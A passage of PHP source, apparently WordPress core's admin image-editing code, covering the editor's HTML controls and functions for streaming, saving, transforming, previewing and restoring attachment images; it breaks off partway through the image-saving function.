			<button type="button" id="image-redo-<?php echo $post_id; ?>" onclick="imageEdit.redo(<?php echo "$post_id, '$nonce'"; ?>, this)" class="imgedit-redo button disabled" disabled><?php esc_html_e( 'Redo' ); ?></button>
			<button type="button" onclick="imageEdit.close(<?php echo $post_id; ?>, 1)" class="button imgedit-cancel-btn"><?php esc_html_e( 'Cancel Editing' ); ?></button>
			<button type="button" onclick="imageEdit.save(<?php echo "$post_id, '$nonce'"; ?>)" disabled="disabled" class="button button-primary imgedit-submit-btn"><?php esc_html_e( 'Save Edits' ); ?></button>
		</div>
	</div>

	<div class="imgedit-panel-content wp-clearfix">
		<div class="imgedit-tools">
			<input type="hidden" id="imgedit-nonce-<?php echo $post_id; ?>" value="<?php echo $nonce; ?>" />
			<input type="hidden" id="imgedit-sizer-<?php echo $post_id; ?>" value="<?php echo $sizer; ?>" />
			<input type="hidden" id="imgedit-history-<?php echo $post_id; ?>" value="" />
			<input type="hidden" id="imgedit-undone-<?php echo $post_id; ?>" value="0" />
			<input type="hidden" id="imgedit-selection-<?php echo $post_id; ?>" value="" />
			<input type="hidden" id="imgedit-x-<?php echo $post_id; ?>" value="<?php echo isset( $meta['width'] ) ? $meta['width'] : 0; ?>" />
			<input type="hidden" id="imgedit-y-<?php echo $post_id; ?>" value="<?php echo isset( $meta['height'] ) ? $meta['height'] : 0; ?>" />

			<div id="imgedit-crop-<?php echo $post_id; ?>" class="imgedit-crop-wrap">
			<div class="imgedit-crop-grid"></div>
			<img id="image-preview-<?php echo $post_id; ?>" onload="imageEdit.imgLoaded('<?php echo $post_id; ?>')"
				src="<?php echo esc_url( admin_url( 'admin-ajax.php', 'relative' ) ) . '?action=imgedit-preview&amp;_ajax_nonce=' . $nonce . '&amp;postid=' . $post_id . '&amp;rand=' . rand( 1, 99999 ); ?>" alt="" />
			</div>
		</div>
		<div class="imgedit-settings">
			<div class="imgedit-tool-active">
				<div class="imgedit-group">
				<div id="imgedit-scale" tabindex="-1" class="imgedit-group-controls">
					<div class="imgedit-group-top">
						<h2><?php _e( 'Scale Image' ); ?></h2>
						<button type="button" class="dashicons dashicons-editor-help imgedit-help-toggle" onclick="imageEdit.toggleHelp(this);" aria-expanded="false"><span class="screen-reader-text">
						<?php
						/* translators: Hidden accessibility text. */
						esc_html_e( 'Scale Image Help' );
						?>
						</span></button>
						<div class="imgedit-help">
						<p><?php _e( 'You can proportionally scale the original image. For best results, scaling should be done before you crop, flip, or rotate. Images can only be scaled down, not up.' ); ?></p>
						</div>
						<?php if ( isset( $meta['width'], $meta['height'] ) ) : ?>
						<p>
							<?php
							printf(
								/* translators: %s: Image width and height in pixels. */
								__( 'Original dimensions %s' ),
								'<span class="imgedit-original-dimensions">' . $meta['width'] . ' &times; ' . $meta['height'] . '</span>'
							);
							?>
						</p>
						<?php endif; ?>
						<div class="imgedit-submit">
						<fieldset class="imgedit-scale-controls">
							<legend><?php _e( 'New dimensions:' ); ?></legend>
							<div class="nowrap">
							<label for="imgedit-scale-width-<?php echo $post_id; ?>" class="screen-reader-text">
							<?php
							/* translators: Hidden accessibility text. */
							_e( 'scale height' );
							?>
							</label>
							<input type="number" step="1" min="0" max="<?php echo isset( $meta['width'] ) ? $meta['width'] : ''; ?>" aria-describedby="imgedit-scale-warn-<?php echo $post_id; ?>"  id="imgedit-scale-width-<?php echo $post_id; ?>" onkeyup="imageEdit.scaleChanged(<?php echo $post_id; ?>, 1, this)" onblur="imageEdit.scaleChanged(<?php echo $post_id; ?>, 1, this)" value="<?php echo isset( $meta['width'] ) ? $meta['width'] : 0; ?>" />
							<span class="imgedit-separator" aria-hidden="true">&times;</span>
							<label for="imgedit-scale-height-<?php echo $post_id; ?>" class="screen-reader-text"><?php _e( 'scale height' ); ?></label>
							<input type="number" step="1" min="0" max="<?php echo isset( $meta['height'] ) ? $meta['height'] : ''; ?>" aria-describedby="imgedit-scale-warn-<?php echo $post_id; ?>" id="imgedit-scale-height-<?php echo $post_id; ?>" onkeyup="imageEdit.scaleChanged(<?php echo $post_id; ?>, 0, this)" onblur="imageEdit.scaleChanged(<?php echo $post_id; ?>, 0, this)" value="<?php echo isset( $meta['height'] ) ? $meta['height'] : 0; ?>" />
							<button id="imgedit-scale-button" type="button" onclick="imageEdit.action(<?php echo "$post_id, '$nonce'"; ?>, 'scale')" class="button button-primary"><?php esc_html_e( 'Scale' ); ?></button>
							<span class="imgedit-scale-warn" id="imgedit-scale-warn-<?php echo $post_id; ?>"><span class="dashicons dashicons-warning" aria-hidden="true"></span><?php esc_html_e( 'Images cannot be scaled to a size larger than the original.' ); ?></span>
							</div>
						</fieldset>
						</div>
					</div>
				</div>
			</div>

		<?php if ( $can_restore ) { ?>
				<div class="imgedit-group">
				<div class="imgedit-group-top">
					<h2><button type="button" onclick="imageEdit.toggleHelp(this);" class="button-link" aria-expanded="false"><?php _e( 'Restore original image' ); ?> <span class="dashicons dashicons-arrow-down imgedit-help-toggle"></span></button></h2>
					<div class="imgedit-help imgedit-restore">
					<p>
					<?php
					_e( 'Discard any changes and restore the original image.' );
					if ( ! defined( 'IMAGE_EDIT_OVERWRITE' ) || ! IMAGE_EDIT_OVERWRITE ) {
						echo ' ' . __( 'Previously edited copies of the image will not be deleted.' );
					}
					?>
					</p>
					<div class="imgedit-submit">
						<input type="button" onclick="imageEdit.action(<?php echo "$post_id, '$nonce'"; ?>, 'restore')" class="button button-primary" value="<?php esc_attr_e( 'Restore image' ); ?>" <?php echo $can_restore; ?> />
					</div>
				</div>
			</div>
			</div>
		<?php } ?>
			<div class="imgedit-group">
				<div id="imgedit-crop" tabindex="-1" class="imgedit-group-controls">
				<div class="imgedit-group-top">
					<h2><?php _e( 'Crop Image' ); ?></h2>
					<button type="button" class="dashicons dashicons-editor-help imgedit-help-toggle" onclick="imageEdit.toggleHelp(this);" aria-expanded="false"><span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Image Crop Help' );
					?>
					</span></button>
					<div class="imgedit-help">
						<p><?php _e( 'To crop the image, click on it and drag to make your selection.' ); ?></p>
						<p><strong><?php _e( 'Crop Aspect Ratio' ); ?></strong><br />
						<?php _e( 'The aspect ratio is the relationship between the width and height. You can preserve the aspect ratio by holding down the shift key while resizing your selection. Use the input box to specify the aspect ratio, e.g. 1:1 (square), 4:3, 16:9, etc.' ); ?></p>

						<p><strong><?php _e( 'Crop Selection' ); ?></strong><br />
						<?php _e( 'Once you have made your selection, you can adjust it by entering the size in pixels. The minimum selection size is the thumbnail size as set in the Media settings.' ); ?></p>
					</div>
				</div>
				<fieldset class="imgedit-crop-ratio">
					<legend><?php _e( 'Aspect ratio:' ); ?></legend>
					<div class="nowrap">
					<label for="imgedit-crop-width-<?php echo $post_id; ?>" class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'crop ratio width' );
					?>
					</label>
					<input type="number" step="1" min="1" id="imgedit-crop-width-<?php echo $post_id; ?>" onkeyup="imageEdit.setRatioSelection(<?php echo $post_id; ?>, 0, this)" onblur="imageEdit.setRatioSelection(<?php echo $post_id; ?>, 0, this)" />
					<span class="imgedit-separator" aria-hidden="true">:</span>
					<label for="imgedit-crop-height-<?php echo $post_id; ?>" class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'crop ratio height' );
					?>
					</label>
					<input  type="number" step="1" min="0" id="imgedit-crop-height-<?php echo $post_id; ?>" onkeyup="imageEdit.setRatioSelection(<?php echo $post_id; ?>, 1, this)" onblur="imageEdit.setRatioSelection(<?php echo $post_id; ?>, 1, this)" />
					</div>
				</fieldset>
				<fieldset id="imgedit-crop-sel-<?php echo $post_id; ?>" class="imgedit-crop-sel">
					<legend><?php _e( 'Selection:' ); ?></legend>
					<div class="nowrap">
					<label for="imgedit-sel-width-<?php echo $post_id; ?>" class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'selection width' );
					?>
					</label>
					<input  type="number" step="1" min="0" id="imgedit-sel-width-<?php echo $post_id; ?>" onkeyup="imageEdit.setNumSelection(<?php echo $post_id; ?>, this)" onblur="imageEdit.setNumSelection(<?php echo $post_id; ?>, this)" />
					<span class="imgedit-separator" aria-hidden="true">&times;</span>
					<label for="imgedit-sel-height-<?php echo $post_id; ?>" class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'selection height' );
					?>
					</label>
					<input  type="number" step="1" min="0" id="imgedit-sel-height-<?php echo $post_id; ?>" onkeyup="imageEdit.setNumSelection(<?php echo $post_id; ?>, this)" onblur="imageEdit.setNumSelection(<?php echo $post_id; ?>, this)" />
					</div>
				</fieldset>
				<fieldset id="imgedit-crop-sel-<?php echo $post_id; ?>" class="imgedit-crop-sel">
					<legend><?php _e( 'Starting Coordinates:' ); ?></legend>
					<div class="nowrap">
					<label for="imgedit-start-x-<?php echo $post_id; ?>" class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'horizontal start position' );
					?>
					</label>
					<input  type="number" step="1" min="0" id="imgedit-start-x-<?php echo $post_id; ?>" onkeyup="imageEdit.setNumSelection(<?php echo $post_id; ?>, this)" onblur="imageEdit.setNumSelection(<?php echo $post_id; ?>, this)" value="0" />
					<span class="imgedit-separator" aria-hidden="true">&times;</span>
					<label for="imgedit-start-y-<?php echo $post_id; ?>" class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'vertical start position' );
					?>
					</label>
					<input  type="number" step="1" min="0" id="imgedit-start-y-<?php echo $post_id; ?>" onkeyup="imageEdit.setNumSelection(<?php echo $post_id; ?>, this)" onblur="imageEdit.setNumSelection(<?php echo $post_id; ?>, this)" value="0" />
					</div>
				</fieldset>
				<div class="imgedit-crop-apply imgedit-menu container">
					<button class="button-primary" type="button" onclick="imageEdit.handleCropToolClick( <?php echo "$post_id, '$nonce'"; ?>, this );" class="imgedit-crop-apply button"><?php esc_html_e( 'Apply Crop' ); ?></button> <button type="button" onclick="imageEdit.handleCropToolClick( <?php echo "$post_id, '$nonce'"; ?>, this );" class="imgedit-crop-clear button" disabled="disabled"><?php esc_html_e( 'Clear Crop' ); ?></button>
				</div>
			</div>
		</div>
	</div>

	<?php
	if ( $edit_thumbnails_separately && $thumb && $sub_sizes ) {
		$thumb_img = wp_constrain_dimensions( $thumb['width'], $thumb['height'], 160, 120 );
		?>

	<div class="imgedit-group imgedit-applyto">
		<div class="imgedit-group-top">
			<h2><?php _e( 'Thumbnail Settings' ); ?></h2>
			<button type="button" class="dashicons dashicons-editor-help imgedit-help-toggle" onclick="imageEdit.toggleHelp(this);" aria-expanded="false"><span class="screen-reader-text">
			<?php
			/* translators: Hidden accessibility text. */
			esc_html_e( 'Thumbnail Settings Help' );
			?>
			</span></button>
			<div class="imgedit-help">
			<p><?php _e( 'You can edit the image while preserving the thumbnail. For example, you may wish to have a square thumbnail that displays just a section of the image.' ); ?></p>
			</div>
		</div>
		<div class="imgedit-thumbnail-preview-group">
			<figure class="imgedit-thumbnail-preview">
				<img src="<?php echo $thumb['url']; ?>" width="<?php echo $thumb_img[0]; ?>" height="<?php echo $thumb_img[1]; ?>" class="imgedit-size-preview" alt="" draggable="false" />
				<figcaption class="imgedit-thumbnail-preview-caption"><?php _e( 'Current thumbnail' ); ?></figcaption>
			</figure>
			<div id="imgedit-save-target-<?php echo $post_id; ?>" class="imgedit-save-target">
			<fieldset>
				<legend><?php _e( 'Apply changes to:' ); ?></legend>

				<span class="imgedit-label">
					<input type="radio" id="imgedit-target-all" name="imgedit-target-<?php echo $post_id; ?>" value="all" checked="checked" />
					<label for="imgedit-target-all"><?php _e( 'All image sizes' ); ?></label>
				</span>

				<span class="imgedit-label">
					<input type="radio" id="imgedit-target-thumbnail" name="imgedit-target-<?php echo $post_id; ?>" value="thumbnail" />
					<label for="imgedit-target-thumbnail"><?php _e( 'Thumbnail' ); ?></label>
				</span>

				<span class="imgedit-label">
					<input type="radio" id="imgedit-target-nothumb" name="imgedit-target-<?php echo $post_id; ?>" value="nothumb" />
					<label for="imgedit-target-nothumb"><?php _e( 'All sizes except thumbnail' ); ?></label>
				</span>

				</fieldset>
			</div>
		</div>
	</div>
	<?php } ?>
		</div>
	</div>

	</div>

	<div class="imgedit-wait" id="imgedit-wait-<?php echo $post_id; ?>"></div>
	<div class="hidden" id="imgedit-leaving-<?php echo $post_id; ?>"><?php _e( "There are unsaved changes that will be lost. 'OK' to continue, 'Cancel' to return to the Image Editor." ); ?></div>
	</div>
	<?php
}

/**
 * Streams image in WP_Image_Editor to browser.
 *
 * @since 2.9.0
 *
 * @param WP_Image_Editor $image         The image editor instance.
 * @param string          $mime_type     The mime type of the image.
 * @param int             $attachment_id The image's attachment post ID.
 * @return bool True on success, false on failure.
 */
function wp_stream_image( $image, $mime_type, $attachment_id ) {
	if ( $image instanceof WP_Image_Editor ) {

		/**
		 * Filters the WP_Image_Editor instance for the image to be streamed to the browser.
		 *
		 * @since 3.5.0
		 *
		 * @param WP_Image_Editor $image         The image editor instance.
		 * @param int             $attachment_id The attachment post ID.
		 */
		$image = apply_filters( 'image_editor_save_pre', $image, $attachment_id );

		if ( is_wp_error( $image->stream( $mime_type ) ) ) {
			return false;
		}

		return true;
	} else {
		/* translators: 1: $image, 2: WP_Image_Editor */
		_deprecated_argument( __FUNCTION__, '3.5.0', sprintf( __( '%1$s needs to be a %2$s object.' ), '$image', 'WP_Image_Editor' ) );

		/**
		 * Filters the GD image resource to be streamed to the browser.
		 *
		 * @since 2.9.0
		 * @deprecated 3.5.0 Use {@see 'image_editor_save_pre'} instead.
		 *
		 * @param resource|GdImage $image         Image resource to be streamed.
		 * @param int              $attachment_id The attachment post ID.
		 */
		$image = apply_filters_deprecated( 'image_save_pre', array( $image, $attachment_id ), '3.5.0', 'image_editor_save_pre' );

		switch ( $mime_type ) {
			case 'image/jpeg':
				header( 'Content-Type: image/jpeg' );
				return imagejpeg( $image, null, 90 );
			case 'image/png':
				header( 'Content-Type: image/png' );
				return imagepng( $image );
			case 'image/gif':
				header( 'Content-Type: image/gif' );
				return imagegif( $image );
			case 'image/webp':
				if ( function_exists( 'imagewebp' ) ) {
					header( 'Content-Type: image/webp' );
					return imagewebp( $image, null, 90 );
				}
				return false;
			default:
				return false;
		}
	}
}

/**
 * Saves image to file.
 *
 * @since 2.9.0
 * @since 3.5.0 The `$image` parameter expects a `WP_Image_Editor` instance.
 * @since 6.0.0 The `$filesize` value was added to the returned array.
 *
 * @param string          $filename  Name of the file to be saved.
 * @param WP_Image_Editor $image     The image editor instance.
 * @param string          $mime_type The mime type of the image.
 * @param int             $post_id   Attachment post ID.
 * @return array|WP_Error|bool {
 *     Array on success or WP_Error if the file failed to save.
 *     When called with a deprecated value for the `$image` parameter,
 *     i.e. a non-`WP_Image_Editor` image resource or `GdImage` instance,
 *     the function will return true on success, false on failure.
 *
 *     @type string $path      Path to the image file.
 *     @type string $file      Name of the image file.
 *     @type int    $width     Image width.
 *     @type int    $height    Image height.
 *     @type string $mime-type The mime type of the image.
 *     @type int    $filesize  File size of the image.
 * }
 */
function wp_save_image_file( $filename, $image, $mime_type, $post_id ) {
	if ( $image instanceof WP_Image_Editor ) {

		/** This filter is documented in wp-admin/includes/image-edit.php */
		$image = apply_filters( 'image_editor_save_pre', $image, $post_id );

		/**
		 * Filters whether to skip saving the image file.
		 *
		 * Returning a non-null value will short-circuit the save method,
		 * returning that value instead.
		 *
		 * @since 3.5.0
		 *
		 * @param bool|null       $override  Value to return instead of saving. Default null.
		 * @param string          $filename  Name of the file to be saved.
		 * @param WP_Image_Editor $image     The image editor instance.
		 * @param string          $mime_type The mime type of the image.
		 * @param int             $post_id   Attachment post ID.
		 */
		$saved = apply_filters( 'wp_save_image_editor_file', null, $filename, $image, $mime_type, $post_id );

		if ( null !== $saved ) {
			return $saved;
		}

		return $image->save( $filename, $mime_type );
	} else {
		/* translators: 1: $image, 2: WP_Image_Editor */
		_deprecated_argument( __FUNCTION__, '3.5.0', sprintf( __( '%1$s needs to be a %2$s object.' ), '$image', 'WP_Image_Editor' ) );

		/** This filter is documented in wp-admin/includes/image-edit.php */
		$image = apply_filters_deprecated( 'image_save_pre', array( $image, $post_id ), '3.5.0', 'image_editor_save_pre' );

		/**
		 * Filters whether to skip saving the image file.
		 *
		 * Returning a non-null value will short-circuit the save method,
		 * returning that value instead.
		 *
		 * @since 2.9.0
		 * @deprecated 3.5.0 Use {@see 'wp_save_image_editor_file'} instead.
		 *
		 * @param bool|null        $override  Value to return instead of saving. Default null.
		 * @param string           $filename  Name of the file to be saved.
		 * @param resource|GdImage $image     Image resource or GdImage instance.
		 * @param string           $mime_type The mime type of the image.
		 * @param int              $post_id   Attachment post ID.
		 */
		$saved = apply_filters_deprecated(
			'wp_save_image_file',
			array( null, $filename, $image, $mime_type, $post_id ),
			'3.5.0',
			'wp_save_image_editor_file'
		);

		if ( null !== $saved ) {
			return $saved;
		}

		switch ( $mime_type ) {
			case 'image/jpeg':
				/** This filter is documented in wp-includes/class-wp-image-editor.php */
				return imagejpeg( $image, $filename, apply_filters( 'jpeg_quality', 90, 'edit_image' ) );
			case 'image/png':
				return imagepng( $image, $filename );
			case 'image/gif':
				return imagegif( $image, $filename );
			case 'image/webp':
				if ( function_exists( 'imagewebp' ) ) {
					return imagewebp( $image, $filename );
				}
				return false;
			default:
				return false;
		}
	}
}

/**
 * Image preview ratio. Internal use only.
 *
 * @since 2.9.0
 *
 * @ignore
 * @param int $w Image width in pixels.
 * @param int $h Image height in pixels.
 * @return float|int Image preview ratio.
 */
function _image_get_preview_ratio( $w, $h ) {
	$max = max( $w, $h );
	return $max > 600 ? ( 600 / $max ) : 1;
}

/**
 * Returns an image resource. Internal use only.
 *
 * @since 2.9.0
 * @deprecated 3.5.0 Use WP_Image_Editor::rotate()
 * @see WP_Image_Editor::rotate()
 *
 * @ignore
 * @param resource|GdImage  $img   Image resource.
 * @param float|int         $angle Image rotation angle, in degrees.
 * @return resource|GdImage|false GD image resource or GdImage instance, false otherwise.
 */
function _rotate_image_resource( $img, $angle ) {
	_deprecated_function( __FUNCTION__, '3.5.0', 'WP_Image_Editor::rotate()' );

	if ( function_exists( 'imagerotate' ) ) {
		$rotated = imagerotate( $img, $angle, 0 );

		if ( is_gd_image( $rotated ) ) {
			imagedestroy( $img );
			$img = $rotated;
		}
	}

	return $img;
}

/**
 * Flips an image resource. Internal use only.
 *
 * @since 2.9.0
 * @deprecated 3.5.0 Use WP_Image_Editor::flip()
 * @see WP_Image_Editor::flip()
 *
 * @ignore
 * @param resource|GdImage $img  Image resource or GdImage instance.
 * @param bool             $horz Whether to flip horizontally.
 * @param bool             $vert Whether to flip vertically.
 * @return resource|GdImage (maybe) flipped image resource or GdImage instance.
 */
function _flip_image_resource( $img, $horz, $vert ) {
	_deprecated_function( __FUNCTION__, '3.5.0', 'WP_Image_Editor::flip()' );

	$w   = imagesx( $img );
	$h   = imagesy( $img );
	$dst = wp_imagecreatetruecolor( $w, $h );

	if ( is_gd_image( $dst ) ) {
		$sx = $vert ? ( $w - 1 ) : 0;
		$sy = $horz ? ( $h - 1 ) : 0;
		$sw = $vert ? -$w : $w;
		$sh = $horz ? -$h : $h;

		if ( imagecopyresampled( $dst, $img, 0, 0, $sx, $sy, $w, $h, $sw, $sh ) ) {
			imagedestroy( $img );
			$img = $dst;
		}
	}

	return $img;
}

/**
 * Crops an image resource. Internal use only.
 *
 * @since 2.9.0
 *
 * @ignore
 * @param resource|GdImage $img Image resource or GdImage instance.
 * @param float            $x   Source point x-coordinate.
 * @param float            $y   Source point y-coordinate.
 * @param float            $w   Source width.
 * @param float            $h   Source height.
 * @return resource|GdImage (maybe) cropped image resource or GdImage instance.
 */
function _crop_image_resource( $img, $x, $y, $w, $h ) {
	$dst = wp_imagecreatetruecolor( $w, $h );

	if ( is_gd_image( $dst ) ) {
		if ( imagecopy( $dst, $img, 0, 0, $x, $y, $w, $h ) ) {
			imagedestroy( $img );
			$img = $dst;
		}
	}

	return $img;
}

/**
 * Performs group of changes on Editor specified.
 *
 * @since 2.9.0
 *
 * @param WP_Image_Editor $image   WP_Image_Editor instance.
 * @param array           $changes Array of change operations.
 * @return WP_Image_Editor WP_Image_Editor instance with changes applied.
 */
function image_edit_apply_changes( $image, $changes ) {
	if ( is_gd_image( $image ) ) {
		/* translators: 1: $image, 2: WP_Image_Editor */
		_deprecated_argument( __FUNCTION__, '3.5.0', sprintf( __( '%1$s needs to be a %2$s object.' ), '$image', 'WP_Image_Editor' ) );
	}

	if ( ! is_array( $changes ) ) {
		return $image;
	}

	// Expand change operations.
	foreach ( $changes as $key => $obj ) {
		if ( isset( $obj->r ) ) {
			$obj->type  = 'rotate';
			$obj->angle = $obj->r;
			unset( $obj->r );
		} elseif ( isset( $obj->f ) ) {
			$obj->type = 'flip';
			$obj->axis = $obj->f;
			unset( $obj->f );
		} elseif ( isset( $obj->c ) ) {
			$obj->type = 'crop';
			$obj->sel  = $obj->c;
			unset( $obj->c );
		}

		$changes[ $key ] = $obj;
	}

	// Combine operations.
	if ( count( $changes ) > 1 ) {
		$filtered = array( $changes[0] );

		for ( $i = 0, $j = 1, $c = count( $changes ); $j < $c; $j++ ) {
			$combined = false;

			if ( $filtered[ $i ]->type === $changes[ $j ]->type ) {
				switch ( $filtered[ $i ]->type ) {
					case 'rotate':
						$filtered[ $i ]->angle += $changes[ $j ]->angle;
						$combined               = true;
						break;
					case 'flip':
						$filtered[ $i ]->axis ^= $changes[ $j ]->axis;
						$combined              = true;
						break;
				}
			}

			if ( ! $combined ) {
				$filtered[ ++$i ] = $changes[ $j ];
			}
		}

		$changes = $filtered;
		unset( $filtered );
	}

	// Image resource before applying the changes.
	if ( $image instanceof WP_Image_Editor ) {

		/**
		 * Filters the WP_Image_Editor instance before applying changes to the image.
		 *
		 * @since 3.5.0
		 *
		 * @param WP_Image_Editor $image   WP_Image_Editor instance.
		 * @param array           $changes Array of change operations.
		 */
		$image = apply_filters( 'wp_image_editor_before_change', $image, $changes );
	} elseif ( is_gd_image( $image ) ) {

		/**
		 * Filters the GD image resource before applying changes to the image.
		 *
		 * @since 2.9.0
		 * @deprecated 3.5.0 Use {@see 'wp_image_editor_before_change'} instead.
		 *
		 * @param resource|GdImage $image   GD image resource or GdImage instance.
		 * @param array            $changes Array of change operations.
		 */
		$image = apply_filters_deprecated( 'image_edit_before_change', array( $image, $changes ), '3.5.0', 'wp_image_editor_before_change' );
	}

	foreach ( $changes as $operation ) {
		switch ( $operation->type ) {
			case 'rotate':
				if ( 0 !== $operation->angle ) {
					if ( $image instanceof WP_Image_Editor ) {
						$image->rotate( $operation->angle );
					} else {
						$image = _rotate_image_resource( $image, $operation->angle );
					}
				}
				break;
			case 'flip':
				if ( 0 !== $operation->axis ) {
					if ( $image instanceof WP_Image_Editor ) {
						$image->flip( ( $operation->axis & 1 ) !== 0, ( $operation->axis & 2 ) !== 0 );
					} else {
						$image = _flip_image_resource( $image, ( $operation->axis & 1 ) !== 0, ( $operation->axis & 2 ) !== 0 );
					}
				}
				break;
			case 'crop':
				$sel = $operation->sel;

				if ( $image instanceof WP_Image_Editor ) {
					$size = $image->get_size();
					$w    = $size['width'];
					$h    = $size['height'];

					$scale = 1 / _image_get_preview_ratio( $w, $h ); // Discard preview scaling.
					$image->crop( $sel->x * $scale, $sel->y * $scale, $sel->w * $scale, $sel->h * $scale );
				} else {
					$scale = 1 / _image_get_preview_ratio( imagesx( $image ), imagesy( $image ) ); // Discard preview scaling.
					$image = _crop_image_resource( $image, $sel->x * $scale, $sel->y * $scale, $sel->w * $scale, $sel->h * $scale );
				}
				break;
		}
	}

	return $image;
}


/**
 * Streams image in post to browser, along with enqueued changes
 * in `$_REQUEST['history']`.
 *
 * @since 2.9.0
 *
 * @param int $post_id Attachment post ID.
 * @return bool True on success, false on failure.
 */
function stream_preview_image( $post_id ) {
	$post = get_post( $post_id );

	wp_raise_memory_limit( 'admin' );

	$img = wp_get_image_editor( _load_image_to_edit_path( $post_id ) );

	if ( is_wp_error( $img ) ) {
		return false;
	}

	$changes = ! empty( $_REQUEST['history'] ) ? json_decode( wp_unslash( $_REQUEST['history'] ) ) : null;
	if ( $changes ) {
		$img = image_edit_apply_changes( $img, $changes );
	}

	// Scale the image.
	$size = $img->get_size();
	$w    = $size['width'];
	$h    = $size['height'];

	$ratio = _image_get_preview_ratio( $w, $h );
	$w2    = max( 1, $w * $ratio );
	$h2    = max( 1, $h * $ratio );

	if ( is_wp_error( $img->resize( $w2, $h2 ) ) ) {
		return false;
	}

	return wp_stream_image( $img, $post->post_mime_type, $post_id );
}

/**
 * Restores the metadata for a given attachment.
 *
 * @since 2.9.0
 *
 * @param int $post_id Attachment post ID.
 * @return stdClass Image restoration message object.
 */
function wp_restore_image( $post_id ) {
	$meta             = wp_get_attachment_metadata( $post_id );
	$file             = get_attached_file( $post_id );
	$backup_sizes     = get_post_meta( $post_id, '_wp_attachment_backup_sizes', true );
	$old_backup_sizes = $backup_sizes;
	$restored         = false;
	$msg              = new stdClass();

	if ( ! is_array( $backup_sizes ) ) {
		$msg->error = __( 'Cannot load image metadata.' );
		return $msg;
	}

	$parts         = pathinfo( $file );
	$suffix        = time() . rand( 100, 999 );
	$default_sizes = get_intermediate_image_sizes();

	if ( isset( $backup_sizes['full-orig'] ) && is_array( $backup_sizes['full-orig'] ) ) {
		$data = $backup_sizes['full-orig'];

		if ( $parts['basename'] !== $data['file'] ) {
			if ( defined( 'IMAGE_EDIT_OVERWRITE' ) && IMAGE_EDIT_OVERWRITE ) {
				// Delete only if it's an edited image.
				if ( preg_match( '/-e[0-9]{13}\./', $parts['basename'] ) ) {
					wp_delete_file( $file );
				}
			} elseif ( isset( $meta['width'], $meta['height'] ) ) {
				$backup_sizes[ "full-$suffix" ] = array(
					'width'  => $meta['width'],
					'height' => $meta['height'],
					'file'   => $parts['basename'],
				);
			}
		}

		$restored_file = path_join( $parts['dirname'], $data['file'] );
		$restored      = update_attached_file( $post_id, $restored_file );

		$meta['file']   = _wp_relative_upload_path( $restored_file );
		$meta['width']  = $data['width'];
		$meta['height'] = $data['height'];
	}

	foreach ( $default_sizes as $default_size ) {
		if ( isset( $backup_sizes[ "$default_size-orig" ] ) ) {
			$data = $backup_sizes[ "$default_size-orig" ];

			if ( isset( $meta['sizes'][ $default_size ] ) && $meta['sizes'][ $default_size ]['file'] !== $data['file'] ) {
				if ( defined( 'IMAGE_EDIT_OVERWRITE' ) && IMAGE_EDIT_OVERWRITE ) {
					// Delete only if it's an edited image.
					if ( preg_match( '/-e[0-9]{13}-/', $meta['sizes'][ $default_size ]['file'] ) ) {
						$delete_file = path_join( $parts['dirname'], $meta['sizes'][ $default_size ]['file'] );
						wp_delete_file( $delete_file );
					}
				} else {
					$backup_sizes[ "$default_size-{$suffix}" ] = $meta['sizes'][ $default_size ];
				}
			}

			$meta['sizes'][ $default_size ] = $data;
		} else {
			unset( $meta['sizes'][ $default_size ] );
		}
	}

	if ( ! wp_update_attachment_metadata( $post_id, $meta )
		|| ( $old_backup_sizes !== $backup_sizes && ! update_post_meta( $post_id, '_wp_attachment_backup_sizes', $backup_sizes ) )
	) {
		$msg->error = __( 'Cannot save image metadata.' );
		return $msg;
	}

	if ( ! $restored ) {
		$msg->error = __( 'Image metadata is inconsistent.' );
	} else {
		$msg->msg = __( 'Image restored successfully.' );

		if ( defined( 'IMAGE_EDIT_OVERWRITE' ) && IMAGE_EDIT_OVERWRITE ) {
			delete_post_meta( $post_id, '_wp_attachment_backup_sizes' );
		}
	}

	return $msg;
}

/**
 * Saves image to post, along with enqueued changes
 * in `$_REQUEST['history']`.
 *
 * @since 2.9.0
 *
 * @param int $post_id Attachment post ID.
 * @return stdClass
 */
function wp_save_image( $post_id ) {
	$_wp_additional_image_sizes = wp_get_additional_image_sizes();

	$return  = new stdClass();
	$success = false;
	$delete  = false;
	$scaled  = false;
	$nocrop  = false;
	$post    = get_post( $post_id );

	$img = wp_get_image_editor( _load_image_to_edit_path( $post_id, 'full' ) );

	if ( is_wp_error( $img ) ) {
		$return->error = esc_js( __( 'Unable to create new image.' ) );
		return $return;
	}

	$full_width  = ! empty( $_REQUEST['fwidth'] ) ? (int) $_REQUEST['fwidth'] : 0;
	$full_height = ! empty( $_REQUEST['fheight'] ) ? (int) $_REQUEST['fheight'] : 0;
	$target      = ! empty( $_REQUEST['target'] ) ? preg_replace( '/[^a-z0-9_-]+/i', '', $_REQUEST['target'] ) : '';
	$scale       = ! empty( $_REQUEST['do'] ) && 'scale' === $_REQUEST['do'];

	/** This filter is documented in wp-admin/includes/image-edit.php */
	$edit_thumbnails_separately = (bool) apply_filters( 'image_edit_thumbnails_separately', false );

	if ( $scale ) {
		$size            = $img->get_size();
		$original_width  = $size['width'];
		$original_height = $size['height'];

		if ( $full_width > $original_width || $full_height > $original_height ) {
			$return->error = esc_js( __( 'Images cannot be scaled to a size larger than the original.' ) );
			return $return;
		}

		if ( $full_width > 0 && $full_height > 0 ) {
			// Check if it has roughly the same w / h ratio.
			$diff = round( $original_width / $original_height, 2 ) - round( $full_width / $full_height, 2 );
			if ( -0.1 < $diff && $diff < 0.1 ) {
				// Scale the full size image.
				if ( $img->resize( $full_width, $full_height ) ) {
					$scaled = true;
				}
			}

			if ( ! $scaled ) {
				$return->error = esc_js( __( 'Error while saving the scaled image. Please reload the page and try again.' ) );
				return $return;
			}
		}
	} elseif ( ! empty( $_REQUEST['history'] ) ) {
		$changes = json_decode( wp_unslash( $_REQUEST['history'] ) );
		if ( $changes ) {
			$img = image_edit_apply_changes( $img, $changes );
		}
	} else {
		$return->error = esc_js( __( 'Nothing to save, the image has not changed.' ) );
		return $return;
	}

